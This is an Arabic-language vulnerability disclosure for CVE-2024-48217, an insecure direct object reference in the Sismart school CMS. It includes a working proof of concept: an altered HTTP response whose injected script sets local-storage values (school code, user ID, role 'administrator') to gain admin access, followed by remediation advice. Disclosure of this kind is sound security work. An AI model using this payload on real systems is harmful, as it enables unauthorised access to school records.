
CVE-2024-48217 ثغرة Sismart الأمنية
CVE المعيَّن: CVE-2024-48217 mitre.org nvd.nist.org tenable.com
5 سبتمبر 2024
Ajriel Rizqy Maulana
7.4.0
IDOR - داخل تخزين الجلسة (Session Storage) IDOR هو اختصار لـ Insecure Direct Object Reference (الإحالة المباشرة غير الآمنة للكائنات)، وهي ثغرة تندرج ضمن فئة التحكم المكسور في الوصول (broken access control). باختصار، تنشأ هذه الثغرة عندما يستخدم التطبيق مدخلات يقدمها المستخدم للوصول المباشر إلى كائن ما. وباستخدام ثغرة IDOR يمكن الحصول على تصعيد امتيازات أفقي، وفي بعض الحالات قد تؤدي أيضًا إلى تصعيد امتيازات عمودي.
https://cms.sismart.id/sekolah/ معامل
sekolah_kodeداخل التخزين المحلي (Local Storage). معاملuser_idداخل التخزين المحلي (Local Storage). معاملuser_levelداخل التخزين المحلي (Local Storage).
على عكس ثغرات IDOR العادية، فإن ثغرات IDOR المرتبطة بتخزين الجلسة (session storage) تختلف في طبيعتها، إذ إنها لا تُحدث تغييرات دائمة في بعض الأحيان، ومع ذلك تظل درجة الخطورة نفسها.
استجابة HTTP غير المعدَّلة:
HTTP/2 200 OK
Date: Fri, 01 Nov 2024 11:44:22 GMT
Content-Type: text/html
Last-Modified: Mon, 01 May 2023 02:36:30 GMT
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJnz9T9%2FG1GNLgvfWtpZFaY10aFkzyrkTUNVdK34tYTcoWnGvxnG7y9lQi%2BxdFQ%2Bd4jjab38wLGtsgIlOxaBbo2TvjTKA6newy7qBGD8jQKTwH9xSM9PVgmnNdHodgx0ew%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 8dbba1ea4a99658f-SIN
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=32972&sent=758&recv=340&lost=0&retrans=102&sent_bytes=994646&recv_bytes=2733&delivery_rate=2462437&cwnd=257&unsent_bytes=0&cid=706fd40c05668fc1&ts=24672&x=0"
<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700|Roboto:300,400,500,600,700|Material+Icons" rel="stylesheet"><link rel="stylesheet" href="https://unicons.iconscout.com/release/v4.0.0/css/line.css"/><title>Sismart | Login</title><script defer="defer" type="module" src="/js/chunk-vendors.fd6f44e8.js"></script><script defer="defer" type="module" src="/js/app.741d68f7.js"></script><link href="/css/chunk-vendors.582cc66a.css" rel="stylesheet"><link href="/css/app.d5b7c7c2.css" rel="stylesheet"><script defer="defer" src="/js/chunk-vendors-legacy.fd6f44e8.js" nomodule></script><script defer="defer" src="/js/app-legacy.350b7c53.js" nomodule></script></head><body style="--kt-toolbar-height:55px;--kt-toolbar-height-tablet-and-mobile:55px"><noscript><strong>We're sorry but metronic-vue doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app" class="d-flex flex-column flex-root"></div><script src="https://requirejs.org/docs/release/2.1.15/minified/require.js"></script><script src="https://rawgit.com/ironwallaby/delaunay/master/delaunay.js"></script></body></html>
sekolah_kode على رمز المدرسة المطلوب.user_id على معرف المستخدم لمدير النظام المطلوب.user_level على administrator.id_token على undefined.<script>
localStorage.setItem('sekolah_kode', 'school_id');
localStorage.setItem('user_id', '0000');
localStorage.setItem('user_level', 'role (ex:administrator)');
localStorage.setItem('id_token', 'undefined');
window.location.href = '/sekolah';
</script>
استجابة HTTP المعدَّلة:
HTTP/2 200 OK
Date: Fri, 01 Nov 2024 11:44:22 GMT
Content-Type: text/html
Last-Modified: Mon, 01 May 2023 02:36:30 GMT
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJnz9T9%2FG1GNLgvfWtpZFaY10aFkzyrkTUNVdK34tYTcoWnGvxnG7y9lQi%2BxdFQ%2Bd4jjab38wLGtsgIlOxaBbo2TvjTKA6newy7qBGD8jQKTwH9xSM9PVgmnNdHodgx0ew%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 8dbba1ea4a99658f-SIN
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=32972&sent=758&recv=340&lost=0&retrans=102&sent_bytes=994646&recv_bytes=2733&delivery_rate=2462437&cwnd=257&unsent_bytes=0&cid=706fd40c05668fc1&ts=24672&x=0"
<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700|Roboto:300,400,500,600,700|Material+Icons" rel="stylesheet"><link rel="stylesheet" href="https://unicons.iconscout.com/release/v4.0.0/css/line.css"/><title>Sismart | Login</title><script defer="defer" type="module" src="/js/chunk-vendors.fd6f44e8.js"></script><script defer="defer" type="module" src="/js/app.741d68f7.js"></script><link href="/css/chunk-vendors.582cc66a.css" rel="stylesheet"><link href="/css/app.d5b7c7c2.css" rel="stylesheet"><script defer="defer" src="/js/chunk-vendors-legacy.fd6f44e8.js" nomodule></script><script defer="defer" src="/js/app-legacy.350b7c53.js" nomodule></script></head><body style="--kt-toolbar-height:55px;--kt-toolbar-height-tablet-and-mobile:55px"><noscript><strong>We're sorry but metronic-vue doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app" class="d-flex flex-column flex-root"></div><script src="https://requirejs.org/docs/release/2.1.15/minified/require.js"></script><script src="https://rawgit.com/ironwallaby/delaunay/master/delaunay.js"></script>
<script>
localStorage.setItem('sekolah_kode', 'smkbnif');
localStorage.setItem('user_id', '3301');
localStorage.setItem('user_level', 'administrator');
localStorage.setItem('id_token', 'undefined');
window.location.href = '/sekolah';
</script>
</body></html>

يجب إجراء فحص للوصول مع ضمان التحقق من جميع الكائنات المُحال إليها. بالإضافة إلى ذلك، ينبغي تطبيق فحوصات المصادقة والتفويض. علاوة على ذلك، يجب تحويل المعرّفات إلى صيغ أبجدية رقمية لمنع إمكانية تخمينها، على سبيل المثال استخدام uid.